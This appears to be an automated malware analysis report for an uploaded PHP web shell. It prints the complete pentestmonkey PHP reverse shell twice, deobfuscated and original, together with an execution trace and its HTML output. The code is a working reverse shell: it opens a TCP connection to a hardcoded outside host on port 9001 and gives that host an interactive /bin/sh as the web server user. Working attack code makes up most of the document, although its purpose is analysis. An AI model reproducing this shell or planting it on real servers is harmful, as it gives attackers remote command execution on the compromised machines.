PHP Malware Analysis

shell.php

md5: 07dd157f9cc0c19268d703186e26949f

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Deobfuscated PHP code

<?php

// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit(0);
$VERSION = "1.0";
$ip = '10.109.84.92';
// CHANGE THIS
$port = 9001;
// CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }
    if ($pid) {
        exit(0);
    }
    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }
    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("{$errstr} ({$errno})");
    exit(1);
}
// Spawn shell process
$descriptorspec = array(
    0 => array("pipe", "r"),
    // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),
    // stdout is a pipe that the child will write to
    2 => array("pipe", "w"),
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to {$ip}:{$port}");
while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }
    // Check for end of STDOUT
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }
    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
        if ($debug) {
            printit("SOCK READ");
        }
        $input = fread($sock, $chunk_size);
        if ($debug) {
            printit("SOCK: {$input}");
        }
        fwrite($pipes[0], $input);
    }
    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
        if ($debug) {
            printit("STDOUT READ");
        }
        $input = fread($pipes[1], $chunk_size);
        if ($debug) {
            printit("STDOUT: {$input}");
        }
        fwrite($sock, $input);
    }
    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
        if ($debug) {
            printit("STDERR READ");
        }
        $input = fread($pipes[2], $chunk_size);
        if ($debug) {
            printit("STDERR: {$input}");
        }
        fwrite($sock, $input);
    }
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit($string)
{
    if (!$daemon) {
        print "{$string}\n";
    }
}
?> 




Execution traces

data/traces/07dd157f9cc0c19268d703186e26949f_trace-1676245867.1223.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:51:33.020079]
1	0	1	0.000144	393512
1	3	0	0.000317	418064	{main}	1		/var/www/html/uploads/shell.php	0	0
2	4	0	0.000335	418064	set_time_limit	0		/var/www/html/uploads/shell.php	47	1	0
2	4	1	0.000356	418128
2	4	R			FALSE
1		A						/var/www/html/uploads/shell.php	48	$VERSION = '1.0'
1		A						/var/www/html/uploads/shell.php	49	$ip = '10.109.84.92'
1		A						/var/www/html/uploads/shell.php	50	$port = 9001
1		A						/var/www/html/uploads/shell.php	51	$chunk_size = 1400
1		A						/var/www/html/uploads/shell.php	52	$write_a = NULL
1		A						/var/www/html/uploads/shell.php	53	$error_a = NULL
1		A						/var/www/html/uploads/shell.php	54	$shell = 'uname -a; w; id; /bin/sh -i'
1		A						/var/www/html/uploads/shell.php	55	$daemon = 0
1		A						/var/www/html/uploads/shell.php	56	$debug = 0
2	5	0	0.000476	418096	function_exists	0		/var/www/html/uploads/shell.php	64	1	'pcntl_fork'
2	5	1	0.000490	418136
2	5	R			FALSE
2	6	0	0.000504	418096	printit	1		/var/www/html/uploads/shell.php	86	1	'WARNING: Failed to daemonise.  This is quite common and not fatal.'
2	6	1	0.000538	418096
2	7	0	0.000546	418096	chdir	0		/var/www/html/uploads/shell.php	90	1	'/'
2	7	1	0.000562	418168
2	7	R			TRUE
2	8	0	0.000575	418128	umask	0		/var/www/html/uploads/shell.php	93	1	0
2	8	1	0.000588	418160
2	8	R			18
2	9	0	0.000600	418176	fsockopen	0		/var/www/html/uploads/shell.php	100	5	'10.109.84.92'	9001	NULL	NULL	30
2	9	1	30.031088	418392
2	9	R			FALSE
1		A						/var/www/html/uploads/shell.php	100	$sock = FALSE
2	10	0	30.031135	418280	printit	1		/var/www/html/uploads/shell.php	102	1	'Connection timed out (110)'
2	10	1	30.031157	418280
			30.031195	339016
TRACE END   [2023-02-12 21:52:03.051157]


Generated HTML code

<html><head></head><body>WARNING: Failed to daemonise.  This is quite common and not fatal.
Connection timed out (110)
</body></html>

Original PHP code

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.109.84.92';  // CHANGE THIS
$port = 9001;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>